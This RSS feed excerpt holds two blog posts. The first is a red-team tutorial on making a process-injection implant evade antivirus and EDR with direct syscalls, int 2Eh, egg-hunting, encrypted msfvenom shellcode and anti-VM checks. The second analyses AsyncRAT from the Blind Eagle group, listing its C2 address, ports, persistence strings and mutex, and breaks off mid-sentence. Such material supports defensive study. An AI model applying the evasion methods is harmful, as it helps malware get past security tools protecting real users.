story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Arsenal 2.0: Elevating Malware Stealth Tactics to bypass static detection]]></title>
            <link>https://osintteam.blog/arsenal-2-0-elevating-malware-stealth-tactics-to-bypass-static-detection-5238c573ab02?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5238c573ab02</guid>
            <category><![CDATA[static-analysis]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Fri, 26 Jul 2024 11:41:40 GMT</pubDate>
            <atom:updated>2024-08-30T02:03:21.273Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Note: </strong>This blog is an extension of my previous post, “Arsenal: Bypass EDR’s/XDR’s and make malware analysis harder.” In this follow-up, i explore additional static detection bypass techniques, offering advanced strategies to enhance your toolkit.</h3><p><strong>Introduction</strong></p><p>In this blog, I am going to explain multiple techniques to bypass <strong>AV/EDR/XDR</strong> security solutions. As a red teamer and security guy, I always try to explore new methods and approaches to bypass security controls and provide actionable mitigations to detect those techniques. My work is related to offensive security, “<strong>Offense is the best defense</strong>”. I believe this article is going to help the red team as well as the blue team.</p><p>I am going to make a defense evasion arsenal which is using direct syscalls, sandboxes bypass techniques, Strong encryption and random procedure names, API hashing, Egg-Hunting and other a lot of techniques to bypass AV/EDR’s. Before explaining the techniques, Let’s talk about <strong>Windows APIs</strong> and <strong>Native APIs</strong>. I am not going to explain it very deeply in this article because I have already explained the working and flow of API call in my previous blog post.</p><p>Applications in Windows system normally run in user-mode and to perform operations applications used Windows APIs which are documented. Now these APIs call native APIs which are located inside the ntdll.dll. Native APIs located in (ntdll.dll) are the last instance which can be monitored by AV/EDR’s security solutions. Let’s take an example of Simple malware which is doing process injection using Windows API calls such as <strong>VirtualAllocEx, WriteProcessMemory, CreateRemoteThread</strong>. These APIs further interact with alternative API calls which is in ntdll.dll. Functions located in ntdll.dll are a set of assembly instructions to call the system level calls in kernel. Most of the AV/EDR’s hooked on Native API’s and redirect the flow of program whenever an application calls this function to see the malicious behavior of program. When new process spawned EDR’s load their DLLs in process memory to inspect the behavior of program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*qpkEK4IQJ9-aAQJxTZE5Iw.png" /></figure><p><strong>Defense Evasion Arsenal</strong></p><p>Direct syscalls are always a hot topic for red teamers. In my arsenal, I used direct syscalls to bypass user-land hooking of AV/EDR. I also used some techniques which will make malware analysis harder. When we open binary with IDA-pro or binary parser statically and using string search we can tell this binary is doing such task. To make static analysis hard, I used different techniques.</p><p><strong>PART 1</strong></p><p>I divided my work into two parts. The first part will explain the syscalls stub and code of my implant with same native API functions name defined in <strong>ntdll.dll</strong>. This part is mainly focused on to develop an exploit doing process injection using direct syscalls which can bypass user-mode hooking of EDRs solutions but can be detected in static analysis of EDRs due to several reasons. In the second part, I will mainly focus on evasion where I will overcome the challenges and reduce the risk of on-disk detection of binary. I will use random names in my code, syscalls stub and all required structures and definitions to make static analysis harder. One extra step that I will explain in part 2 is Egg-hunt technique and random instructions to bypass on-disk or static analysis of EDRs solutions. Let’s discuss our preparation for defense evasion arsenal.</p><p>Firstly, I created ASM/H pairs using <strong>SysWhispers2</strong>. SysWhispers2 use random functions name every time and resolve syscalls dynamically. In this picture, you can see created assembly file of syswhisper2. Function hash is used by global variable and resolving syscalls accordingly. The name of procedures is same as <strong>Native API</strong> calls. Although this approach bypass AV/EDR user-mode hooking but I realize that If I use these names in my implant Windows defender or other security solutions can detect my binary in signature-based analysis and static heuristic analysis. This is because security solutions are looking for patterns, signatures, strings and imports in static analysis. So, I noticed my exploit was detected by Windows defender in static analysis because of syscalls instruction defined in stub which is responsible to make kernel transit and my implant was clearly showing the API names with well-known sequence used in process injection that can be also a big indicator for any security solutions. So, I bypassed these types of detection in my second part of this article. For now, let’s create our arsenal with same definitions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kPaUhMYB7GI8LiVbemYGNA.png" /><figcaption><strong>Defined Procedures</strong></figcaption></figure><p>You can see WhisperMain function is responsible to resolve the function hash into syscalls and make the call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*pxgKnS8dOPFRMOku4KL1yQ.png" /><figcaption><strong>Functions to resolve direct syscalls numbers</strong></figcaption></figure><p>I wrote a code into C++ which is using direct syscalls. In my part 1, I used the same name in my code and performed static analysis using <strong>IDA-PRO</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*a-HEEIdnZ9nnbe50yt0W8g.png" /><figcaption><strong>Calling with same names as ntdll.dll defined</strong></figcaption></figure><p>After analysis my implant statically in <strong>IDA-PRO</strong>, I can clearly see the native APIs calls which indicate the behavior of my binary. Malware analysts can easily understand that this binary is doing injection in process. Because this combination is very well-known to perform process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SD-ZDmzgWfuS7i4J-13IPg.png" /></figure><p><strong>PART 2</strong></p><p>As I mentioned above in part 1, I will use random procedures and functions names to make my implant stealthier in part 2. So, this time, I changed the procedures names, changed the prototype names and, I used egg-hunting and random instructions techniques to bypass the static analysis. Because I am using Msfvenom generated shellcode so I will use AES encryption in my implant to bypass the signature detection of EDRs. Furthermore, I used Anti-AV and Anti-Sandbox techniques in my code. Now this part is mainly focused on defense evasion bypass using combination of different techniques to bypass static and dynamic analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*S7ulf-Pyj7I7epL_5cxLxw.png" /><figcaption><strong>Random Procedures Names</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*72wA5ajsKrXB5_b6i1Uggw.png" /><figcaption><strong>Random Names in Prototypes</strong></figcaption></figure><p>You can see this time I used random functions names in my implant. I did this thing to make static analysis harder for malware analysts and to bypass static analysis of AV/EDRs solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*22PqksbqhZQAMb0e4iG9JQ.png" /><figcaption><strong>Random functions names</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rx7ttGAk2uxVEj3gHuVelw.png" /><figcaption><strong>Difficult to understand in static analysis</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nS3mnK_8yKavnv7bHYfxgg.png" /><figcaption><strong>No Imports and String Searches</strong></figcaption></figure><p><strong>Legacy Instruction</strong></p><p>I used syswhispers2 to generate ASM/H pairs for direct syscalls. Firstly, I want to show the general structure of syscalls stub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*upkfgqdHcvzOWUkHUBrkEg.png" /><figcaption><strong>General Pattern of Syscalls Instruction</strong></figcaption></figure><p>This is pattern of kernel transit in 64bit OS defined in ntdll.dll. Syscalls instruction in this stub might be interesting for AV/EDR’s to detect. So, I used “int 2Eh” legacy instruction to invoke syscalls rather than using “syscalls” instruction to avoid on-disk detection of my binary.</p><p><strong><em>Note: int 2Eh is used on 32bit OS to enter the kernel mode. On 64-bit, the same is obtained by using syscalls</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*gWtxfUeWi-u3H8_xxGPWIg.png" /><figcaption><strong>int 2Eh rather than syscalls</strong></figcaption></figure><p>This technique is good to bypass on-disk detection of binary which is using syscalls. Maybe in some cases AV/EDR’s don’t detect “syscalls” instruction but make it stealthier you can still use “int 2Eh”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yUrpps0Eik6hCGECwZ5WUA.png" /><figcaption><strong>int 2Eh in binary</strong></figcaption></figure><p><strong>Series of Instructions</strong></p><p>Detection could be done by looking for the “mov r10,rcx” instruction and then inspect the next instruction to determine if it was a syscalls, since this allowed to inspect the syscall number. I didn’t face this thing in my homework or during malware development but still I am going to explain this technique to bypass on disk detection.</p><p>I added a series of instructions in asm file created by syswhispers2. To bypass this type of detection I am using a series of instructions. I am not moving “r10,rcx” directly, I am firstly moving “r15,rcx” than “r14,r15” and so on to bypass the detection which is done by using syscalls instruction pattern. The OS doesn’t really care so long as there’s a syscalls number in eax when it transitions to the kernel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*nGX_Q_mrbRcMyeUrxESBXw.png" /><figcaption><strong>Series of Instructions</strong></figcaption></figure><p><strong>Random Instruction (nop)</strong></p><p>Another technique is to bypass disk detection. I added “nop” instructions in my asm file. These techniques also can help to avoid pattern base detection of syscalls. You can add multiple nop instruction before invoking syscalls. These nop instructions will not affect to you code but these are helpful to bypass detections which maybe done on pattern or regex based detection of general syscalls instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*SeMjzPqSmsZjCKfWovalQg.png" /><figcaption><strong>nop instructions in asm file</strong></figcaption></figure><p><strong>Egg-Hunt</strong></p><p>Egg hunt will place random bytes using <strong>DB</strong> instruction in syscalls stub with syscalls instructions and on run time it patches again those bytes with syscall instruction to transit into kernel. This technique also helpful to bypass static analysis and regex-based analysis of AV/EDRs solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*xdoU4w4jLDNIUj7Cmi1KsA.png" /><figcaption><strong>Egg-Hunting Technique</strong></figcaption></figure><p><strong>AES Encryption</strong></p><p>Although, I used direct syscalls and this technique bypasses most of the AV/EDR’s, but still I am using well-known tool <strong>msfvenom</strong> to create shellcodes which are highly detected by AV/EDR’s. So, I encrypted my shellcode using <strong>AES encryption</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*rbhiGipBpxkXK1us4Iiziw.png" /><figcaption><strong>AES Decryption in C++</strong></figcaption></figure><p><strong>Anti-VM Techniques</strong></p><p>Apart from encryption, I used three anti-vm techniques, one is checking size of <strong>ram</strong> others are checking <strong>processing speed</strong> and core <strong>processors</strong>. You can change the number of cores and size of ram accordingly, I am using 8gb ram condition in my code. If the size of ram is less than 8 programs will exist here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*rxNlj9Linkd0py1Jj4iSiw.png" /><figcaption><strong>Sandboxes bypass techniques</strong></figcaption></figure><p><strong>Execution</strong></p><p>I tested these techniques on windows 11 against Microsoft Defender, MacAfee and Kaspersky but no one was able to detect my implant. I was able to bypass static and dynamic analysis of these security Solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NqyeIKN1fTmHdUDeWCqD7g.png" /><figcaption><strong>Windows Defender Bypassed</strong></figcaption></figure><p>I injected my payload into <strong>explorer.exe</strong>. You can see my payload in memory address in explorer.exe which is <strong>RWX</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*OlHdCap6rdMzIuWwzvugEQ.png" /><figcaption><strong>Injected shellcode in explorer.exe</strong></figcaption></figure><p>I also checked my binary on antiscan.me to check the detection rate of these techniques. But my binary was fully undetectable.</p><p><a href="https://antiscan.me/scan/new/result?id=DpzbbuU1wnXV"><strong>https://antiscan.me/scan/new/result?id=DpzbbuU1wnXV</strong></a></p><p><strong>CONCLUSION</strong></p><p>Direct syscalls are mostly used by malware developers, red teamers and attackers to bypass user-mode hooking of security controls. But in this blog, I also explained the other techniques which can be used to make implant stealthier and more undetected in static analysis.</p><p><strong>References:</strong></p><p><a href="https://github.com/xenoscr/SysWhispers2/">https://github.com/xenoscr/SysWhispers2/</a></p><p><a href="https://github.com/outflanknl/Dumpert/tree/master/Dumpert">https://github.com/outflanknl/Dumpert/tree/master/Dumpert</a></p><p><a href="https://www.outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">https://www.outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/</a></p><p><a href="https://github.com/Offensive-Panda">https://github.com/Offensive-Panda</a></p><p><a href="https://offensive-panda.github.io/DefenseEvasionTechniques/">https://offensive-panda.github.io/DefenseEvasionTechniques/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5238c573ab02" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/arsenal-2-0-elevating-malware-stealth-tactics-to-bypass-static-detection-5238c573ab02">Arsenal 2.0: Elevating Malware Stealth Tactics to bypass static detection</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling the Intricacies of AsyncRAT: A deployment in Colombia by the Blind Eagle Cyber Group]]></title>
            <link>https://osintteam.blog/unveiling-the-intricacies-of-asyncrat-a-deployment-in-colombia-by-the-blind-eagle-cyber-group-83b48cc415a7?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/83b48cc415a7</guid>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[defense]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Mon, 08 Jan 2024 12:09:30 GMT</pubDate>
            <atom:updated>2024-08-30T02:03:17.448Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>AsyncRAT is a sophisticated Remote Access Trojan (RAT), intricately developed using the C# programming language. Its design is centered around an asynchronous operational framework, which grants cyber attackers extensive remote access and control capabilities over targeted systems. This high level of control enables the execution of a diverse array of malicious activities, including data exfiltration, system manipulation, and surveillance.</p><p>The utilization of AsyncRAT has been predominantly linked to the cyber group known as Blind Eagle, also referred to as APT-C-36. This group has been active since April 2018 and is believed to have its origins in South America. Blind Eagle’s operations are characterized by their persistent and targeted nature, focusing on high-value targets across various critical sectors. Notably, their activities have included systematic cyber-attacks against key Colombian entities, encompassing government institutions, the financial sector, the oil industry, and professional manufacturing firms.</p><p>The group’s methods exhibit advanced tactics, techniques, and procedures (TTPs), leveraging AsyncRAT’s capabilities to infiltrate and compromise systems with precision. Their approach often involves spear-phishing campaigns, exploiting software vulnerabilities, and using sophisticated social engineering techniques to gain initial access. Post-compromise, they deploy AsyncRAT to maintain persistence, conduct reconnaissance, and ultimately fulfill their malicious objectives.</p><p>Given the significant threat posed by Blind Eagle and their adept use of AsyncRAT, it’s imperative for organizations within their target spectrum to adopt robust cybersecurity measures. This includes regular system audits, employee awareness training, and the implementation of advanced threat detection and response systems.”</p><p>This ersion includes a more in-depth exploration of AsyncRAT’s functionalities, Blind Eagle’s operational tactics, and the broader implications for cybersecurity in the targeted sectors. Blind Eagle primarily uses NjRAT, AsyncRAT, Remcos RAT, LimeRAT, and QuasarRAT in its campaigns. Blind Eagle’s modus operandi has remained the same since its emergence, which indicates that it is comfortable conducting spear-phishing campaigns as they continue to hit the target.</p><h3>Capabilities</h3><p>· AsyncRAT creates files inside the user directory</p><p>· AsyncRAT creates and modify system processes</p><p>· AsyncRAT creates persistence using scheduled task (if-admin)</p><p>· AsyncRAT creates persistence using registry (if non-admin)</p><p>· AsyncRAT utilizes the defense evasion technique Masquerading</p><p>· AsyncRAT utilizes the Virtualization/Sandboxes evasion techniques.</p><p>· AsyncRAT utilized the anti-analysis and anti-debugging techniques.</p><p>· AsyncRAT encrypts the configuration file using AES-256</p><p>· AsyncRAT uses the process manipulation techniques to evade defense</p><p>· AsyncRAT uses Command and control (C2) server to exfiltrate and install plugins.</p><h3>Technical Details and Chain flow</h3><h3>File Info:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*poz1PwCl1MHOjLnRfOBpNw.png" /></figure><h3>AsyncRAT also known as by security vendors:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*591PmaRpei2dNe-Sj_4oig.png" /></figure><h3>Flow of attack and execution:</h3><p>Investigations reveal that the initial phase of Blind Eagle APT’s phishing campaign involves the dissemination of a deceptive email. This email features a subject line in Spanish and contains an attachment: a password-protected PDF. The PDF is designed to entice recipients with a seemingly urgent request to view an alleged pending tax document. Upon opening the PDF, users are confronted with a URL that closely mimics the official site of the Directorate of National Taxes and Customs. However, this link is fraudulent. When clicked, it redirects the user to an alternative website. This site is responsible for deploying a secondary payload, discreetly retrieved from a public Discord server. This secondary payload serves as a precursor to the final stage of the cyber-attack. It facilitates the installation of AsyncRAT, completing the infection process. The sophisticated nature of this method underscores the necessity for vigilance and robust cybersecurity measures, particularly in recognizing and responding to phishing attempts.<strong><em> </em></strong>In this report, I got a sample which is downloaded by clicking on phishing link and I try to perform technical analysis of the sample and extracted the TTP’s utilized by blind eagle threat group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*wCZccM6lNaoghG3DNu0vMw.png" /></figure><h3>Tools and Environment</h3><p>· <em>Flare-VM (Windows 10)</em></p><p>· <em>REMnux (Simulator)</em></p><p>· dnSpy</p><p>· Cutter</p><p>· Detect-it-easy</p><p>· RegShot</p><p>· ExeInfoPE</p><p>· De4dot</p><p>· Capa</p><p>· Procmon</p><p>· Process Hacker</p><p>· TcpView</p><p>· PE Bear</p><p>· PE Studio</p><p>· Wireshark</p><h3>Stage (async.exe)</h3><h3>Basic and Advanced Static Analysis</h3><h3>Basic Information</h3><p><strong><em>async.exe:</em></strong></p><p>SHA256: 79068b82bcf0786b6af1b7cc96de1bf4e1a66b0d95e7e72ed1b1054443f6c5e3</p><p>MD5: c0b9838ff7d2ddecbfe296eae947e5d6</p><p>CPU: 32-bits</p><p>Language: .Net programming language (c#)</p><p>Compiler-stamp: Sun May 10 05:24:51 2020 UTC</p><p>Interesting Strings:</p><p>· “ /c schtasks /create /f /sc onlogon /rl highest /tn “</p><p>· “Select * from AntivirusProduct”, “Select * from Win32_ComputerSystem”</p><p>· “CfXpd10bbWOrMPUDu4xOQVkVoERQrspS5I5RrSBc3XPr6/l12WdhfLjn9IUpy8mtbVoZq8Nl2UitCoQT8mAlLQ==”</p><p>· “5xU2z25Rov7slOLBtk+8+vn4pnps2wv04q8onR2M1PeHt+fevvgEpJ9uqUq8M6BdaI5lNbuF3jAHGdE7FovjtQ==”</p><p>· “” /tr ‘“”’ &amp; exit\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS”</p><p>· “\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS”</p><p>Inspection: LoadModule, MemoryStream, ToBase64String, FileAccess, RSACryptoServiceProvider, RtlSetProcessIsCritical</p><h3>Packing</h3><h3>Detect-It-Easy</h3><p>After opening the sample with detect-it-easy tool it shows me that the binary is not packed but there was at some level I assumed it may be little bit obfuscated and there will be some random strings and junk data to make it difficult for analyst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ozjXdx8T00l5ULSTWP2HKg.png" /></figure><h3>Capa-Output</h3><p>When I performed CAPA analysis on first stage of malware (WinDir.exe), it indicates that the binary is not packed. The detail verbose analysis also tells the binary is obfuscated and it trigger most of the rules which indicated that the binary is using these tactics and techniques according to MITRE ATT&amp;CK framework. The CAPA analysis also indicates that the binary is performing the system discovery, file discovery and defense evasion like obfuscation and masquerading files. Capa output also indicating that the sample has Anti-VM and Anti-Behavioral analysis techniques to make malware analysis harder for analyst. Capa output trigger multiple TTPs that is utilized by the malware, at this point I am not sure about these TTPs. After perform behavioral and dynamic analysis I can say about the actual behavior of the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*QH1ZGi-WWADI2tVHV8qkWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MkI-wLJpauktHFt-AdmMfw.png" /></figure><h3>Static Analysis</h3><p>Before performing dynamic analysis and first detonation of malware, I opened the malware in dnSpy-x86 to perform some advanced static analysis. Because the binary is .NET and it was not packed by any custom or commercial packer so I got the clear code by using the Decompiler and debugger. Before debugging the code line by line and perform dynamic analysis I started looking into functions and try to understand the working of the malware. Before wasting anytime, I just go to the entry point which was main function and at the very first line there was “for” loop which is running 4 times from 0–3 and each time sleep for 1 sec. In short it was sleeping 4000 milliseconds before executing anything. This technique could be leverage by threat actors to bypass defense mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MPGfkKRJlF8dnOzE9KHXcQ.png" /></figure><p>After the loop there was a “if” condition which was checking the function return value. If the function InitializeSettings() is returning true then it perform rest of the working, if the Boolean value is false it exiting the program here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*beQoCIemJg5BDP_I95KJIg.png" /></figure><p>When I opened the function to check what actually this function is doing and I found AsyncRAT configurations. These configurations contain ports, hosts, versions, installation, MTX, certificates and also other stuff which were encrypted with AES-256. At this stage, I don’t know the values of these configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ImqD_IJSpxE_HoL16czfGw.png" /></figure><p>Next step it was created the MUTEX and at this stage I don’t know what value it was using because the MUTEX value was encrypted with AES-256.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*F5bnX90aYnemsGBvcxeWKA.png" /></figure><p>If the MUTEX is created successfully then it executes next instructions otherwise it exited the program. The next instructions were performing anti-analysis, anti-debugging and anti-sandboxing techniques. These techniques I will show you in my advance analysis and how to bypass these checks to continues the analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3hlp7tjqD3HOFTKua6d6tw.png" /></figure><p>After above mentioned checks the malware was installing itself and doing the stuff. If the above all checks return true then it was performing installation and some persistence techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iaabk48fvp9OVsXM5PZa7A.png" /></figure><p>After installing and performing some persistence, it was checking if the malware is executing with admin privileges and the value of a public static variable (BDOS) is true then I was making itself as a <strong>critical process</strong> by utilizing the native API calls from ntdll.dll. I already analyzed a lot of malwares which used this technique to evade AV/EDR because only limited windows legitimate process is running as critical processes and by terminating those processes you will get BSOD (Blue screen of death). Maybe the variable is indicating the same name but threat actors misspelled it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*FygNUCXG1JRPglJ3Tdxc_g.png" /></figure><p>In the last step of my static analysis there was loop designed to maintain a network connection in a client-server model. Here’s a breakdown of its functionality:</p><p>v for (; ;) — This is an infinite loop. It will continue to run until the program is manually stopped or an external condition causes it to exit.</p><p>v try — This block is used to handle any exceptions that might occur during the execution of the code inside it. This is a common practice to ensure the program doesn’t crash unexpectedly.</p><p>v if (!ClientSocket.IsConnected) — This condition checks if the client socket is not connected.</p><p>v ClientSocket.Reconnect(); — If the client socket is not connected, this line attempts to reconnect the client to the server.</p><p>v ClientSocket.InitializeClient(); — This method likely initializes the client socket, setting up necessary parameters or configurations for the connection.</p><p>v Thread.Sleep(5000); — This line pauses the execution of the current thread for 5000 milliseconds (or 5 seconds). It’s likely used here to prevent the loop from overwhelming the CPU or network with continuous connection attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gKxJSHIOBsJw4NRLMyJj4w.png" /></figure><p>This code snippet is a more detailed implementation of a method called InitializeClient() in a client-server networking context. The method is structured to establish a TCP connection with a server, potentially involving secure communication over SSL/TLS. Here’s a breakdown:</p><p>v Socket Initialization: A TCP socket is created with specified buffer sizes for sending and receiving data. The SocketType.Stream and ProtocolType.Tcp indicate it’s a TCP socket, suitable for continuous streams of data.</p><p>v Server Connection Logic: The method includes logic for choosing server addresses and ports. If Settings.Pastebin is set to “null”, it randomly selects a server address and port from a list defined in Settings.Hosts and Settings.Ports. If Settings.Pastebin is not null, it fetches a server address and port from a Pastebin URL.</p><p>v Domain Name Validation: The code checks if the chosen server address is a valid domain name. If it is, it resolves the domain name to an IP address and attempts to connect to it. If not, it directly attempts to connect to the provided address.</p><p>v Catch Blocks: There are several empty catch blocks which are not handling exceptions. This could lead to silent failures where errors are not logged or addressed.</p><p>v SSL/TLS Setup: If the connection is successful, it sets up an SSL/TLS stream for secure communication, authenticating the server’s certificate. The specifics of the SSL/TLS protocol version and other parameters are configured here.</p><p>v Data Transmission Setup: The client prepares to send and receive data. This includes setting up data buffers, initiating a keep-alive packet mechanism, and starting a timer for sending pings.</p><p>v Read Server Data: The client begins asynchronously reading data from the server, using the BeginRead method on the SSL stream.</p><p>Connection Status: The client’s connection status (IsConnected) is updated based on whether the connection is successfully established or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DgdRyBAv13tVNxvdUf_tcA.png" /></figure><h3>Basic Dynamic Analysis</h3><h3>Procmon and Process Hacker</h3><p>As an offensive security researcher, I always prefer Procmon, process hacker, TcpView and Wireshark in my first detonation of malware sample which I analyze. When I executed the sample and captured all traffic using Wireshark, captured the whole host-based activities using Procmon and network connections using TcpView, I noticed some interested activities on Procmon. I applied filter on Procmon to check either AsyncRAT write any file or downloading any file on disk at runtime. I noticed that the sample wrote two file one with the name of “Runtime Broker” in %APPDATA% and secondly it created batch file with the name of “tmp8BAF.tmp.bat” in temp folder. When I checked registry changes, I noticed that the malware was setting registry value with the same name of EXE which it created in %APPDATA%. This registry key is used to create persistence on system, so at this point I was sure that the malware is creating persistence by adding the “Runtime Broker.exe” in the registry path “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BRPyF193i9YgQzRXdEGehA.png" /></figure><p>I noticed some connection request over TCP, at this stage I can say the malware maybe was trying to connect with this IP address “217.195.197.70” using different port like 6606, 8808 and 7707. The malware was trying to create sockets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*r3wdQhcBqMzdhk073FH3oA.png" /></figure><p>To make sure network activity and which process is responsible for making connection on above mentioned IP address, I checked all processes network activities by using one of my favorite tools TcpView. I noticed that the process with the same name “Runtime Broker.exe” was trying to connect with the same IP address over TCP on same ports that I have mentioned above. This was continuously sending the sync packets to initiate the TCP connection. At that point, I was sure that this process was responsible for the rest of the malware activities and connecting with the command-and-control server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*riM0Z17CgzRUKZUVAERfMA.png" /></figure><p>After my first detonation of sample, I have some idea about the malware that it was creating two file one is batch file and the other was .exe file. Also, it was adding some registry value for persistence and trying to create TCP connection with command-and-control server on different Ports. When I checked this IP on virus total most of the vendors was indicating it as a malicious IP address and virus total was showing me the IP is from Turkey according to the ASN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5ahlYfMwlfxNkg6ZXvEqaA.png" /></figure><p>When I checked the process tree, I noticed that the process was executing cmd.exe, timeout.exe and the same file Runtime Broker.exe in its child hierarchy. At that point I don’t know what is full working and code structure of Runtime Broker.exe and who is responsible for running other process. It will be more cleared to me after performing debugging and advanced dynamic analysis of the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*USEDLwFjN8GRxJp3UDOUOw.png" /></figure><h3>Advanced Dynamic Analysis</h3><h3>Run as Admin</h3><p>I started advanced dynamic analysis of sample using dnSpy-x86. Dnspy is one of the best debuggers and Decompiler for .NET binaries. AsyncRAT.exe is .NET binary so I open it using dnSpy, In my static analysis, I noticed that the program was looking admin privileges also so I decided to breakdown my analysis into two parts first one to run as a admin and check all the behavior and the second run as normal privileges and check what is the different and how the malware is behaving in both conditions. The flow of the entry was same that I mentioned in my static analysis. First creating some sleep, then initializing its configuration, creating mutex, checking virtualized environment, installation, setting the process as critical and at the end continuously trying to connect with the server. So let start debugging set breakpoint on each step and try to decrypt the configuration and see the behavior of malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1b6XPcI0M2B5BdKupK8blw.png" /></figure><h3>Breakpoints:</h3><p>I start analysis step by step and put breakpoints. First, I wanted to know about the configurations file that it was initializing and checking if everything is good then go to next step. So, I put breakpoint on if condition where it was checking either the function is returning true or false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mSCzGiKzc-vb3-3pbKmy-w.png" /></figure><p>Following the execution flow I step-into this function and there were configurations at this point all were encrypted with AES-256. So I put breakpoints on decryption function which was returning decrypted values of all configuration and execute the flow and extract the decrypted value, let’s check one by one what was the actual configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UOavQeYEcvvAjdz3hLgRhg.png" /></figure><p>After successfully starting the program, I decrypted value one by one so I can clearly understand the working of the malware. When I decrypted the Ports on which the malware was trying to communicate with the C2 server over TCP, these ports were same that we analyzed in our first detonation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4ET5kuWnrbDBYU07fWBBlw.png" /></figure><p>When I follow the execution, I found that it was trying to connect with the same IP address that we found in TcpView. It means the malware hardcoded the c2 server IP and ports but in encrypted form to which it was trying to create socket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*v4shZVV1BihV8l1AlIl65g.png" /></figure><p>After decrypting the next value which was some variable with name version, it was decrypting the version value. Maybe this value is using while creating connection with the C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*30FbPIQlymcljuX_xzpDQg.png" /></figure><p>When I decrypted the next variable with the name install which was using into function of malware installation. This was retuning Boolean value “true” after decrypting. When malware initialize its configurations by default the declared value of this variable is true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PR2x93vYsIWlLnw7CYg5Gg.png" /></figure><p>Now I decrypted the next value of configuration which was using to created MUTEX. Malware uses mutex for different purposes for example synchronization of instances, or if the same instance is already running or run the close the program etc. The sample was creating the mutex with the value of</p><p>“AsyncMutex_6SI8OkPnk”</p><figure><img alt="" 